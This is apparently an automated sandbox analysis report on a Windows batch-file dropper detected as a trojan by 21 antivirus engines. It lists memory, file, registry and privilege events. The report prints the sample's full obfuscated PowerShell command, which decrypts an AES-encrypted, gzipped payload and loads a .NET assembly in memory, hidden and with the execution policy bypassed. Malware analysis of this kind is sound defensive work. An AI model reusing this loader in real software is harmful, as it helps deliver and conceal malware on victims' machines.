NtAllocateVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00056000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00143000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff0010c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00103000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff0004a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00057000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Feb. 12, 2024, 5:27 p.m.	process_identifier: 2156 region_size: 16384 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000027a7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1

Creates executable files on the filesystem (1 event)

file	C:\Users\test22\AppData\Local\Temp\IXP000.TMP\meh.bat

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\IXP000.TMP\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x00026000', u'virtual_address': u'0x0000f000', u'entropy': 7.343832658712257, u'name': u'.rsrc', u'virtual_size': u'0x00026000'}

entropy

7.34383265871

description

A section with a high entropy has been found

entropy

0.730769230769

description

Overall entropy of this PE file is high

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Feb. 12, 2024, 5:27 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Uses Windows utilities for basic Windows functionality (1 event)

cmdline

"meh.bat.exe" -noprofile -windowstyle hidden -executionpolicy bypass -command $rJqIJ = 'gnirtS46esaBmorF'.ToCharArray();[array]::Reverse($rJqIJ);$xMyVG = [String]::new($rJqIJ);$FuGSz = [System.IO.File]::ReadAllText('C:\Users\test22\AppData\Local\Temp\IXP000.TMP\meh.bat').Split([Environment]::NewLine);$PEMZw = $FuGSz[$FuGSz.Length - 1];$YlXeY = [System.Convert]::$xMyVG($PEMZw);$ayIpj = New-Object System.Security.Cryptography.AesManaged;$ayIpj.Mode = [System.Security.Cryptography.CipherMode]::CBC;$ayIpj.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$ayIpj.Key = [System.Convert]::$xMyVG('kMxZtZH58ZT87P1HobGlND3OHzJkEzHseE9HY8EGR/k=');$ayIpj.IV = [System.Convert]::$xMyVG('KPHYWqGU9TagNjBtlKwYzA==');$hkVrR = $ayIpj.CreateDecryptor();$YlXeY = $hkVrR.TransformFinalBlock($YlXeY, 0, $YlXeY.Length);$hkVrR.Dispose();$ayIpj.Dispose();$ezoCa = New-Object System.IO.MemoryStream(, $YlXeY);$fZQEJ = New-Object System.IO.MemoryStream;$yuTmf = New-Object System.IO.Compression.GZipStream($ezoCa, [IO.Compression.CompressionMode]::Decompress);$yuTmf.CopyTo($fZQEJ);$yuTmf.Dispose();$ezoCa.Dispose();$fZQEJ.Dispose();$YlXeY = $fZQEJ.ToArray();[System.Reflection.Assembly]::Load($YlXeY).EntryPoint.Invoke($null, (, [string[]] ('')))

Installs itself for autorun at Windows startup (1 event)

reg_key

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0

reg_value

rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP000.TMP\"

Drops a binary and executes it (1 event)

file	C:\Users\test22\AppData\Local\Temp\IXP000.TMP\meh.bat.exe

File has been identified by 21 AntiVirus engines on VirusTotal as malicious (21 events)

Bkav	W64.AIDetectMalware
Cynet	Malicious (score: 100)
Skyhigh	BehavesLike.Win64.Downloader.dh
VIPRE	Trojan.GenericKD.71604137
CrowdStrike	win/malicious_confidence_70% (W)
Elastic	malicious (moderate confidence)
ESET-NOD32	BAT/Agent.PLI
APEX	Malicious
McAfee	Artemis!7E0EC75C05E1
Avast	BV:Obfuscated-Z [Cryp]
Kaspersky	HEUR:Trojan-Dropper.BAT.Agent.gen
MicroWorld-eScan	Trojan.GenericKD.71604137
TrendMicro	Trojan.BAT.ASYNCLOADR.SMJMA
Ikarus	PWS.MSIL.Dcstl
Google	Detected
Microsoft	Trojan:Win32/Wacatac.B!ml
ZoneAlarm	HEUR:Trojan-Dropper.BAT.Agent.gen
GData	BAT.Trojan.Agent.8YJR0R
DeepInstinct	MALICIOUS
Tencent	Bat.Trojan-Dropper.Agent.Rzfl
AVG	BV:Obfuscated-Z [Cryp]

RuntimeBroker.EXE

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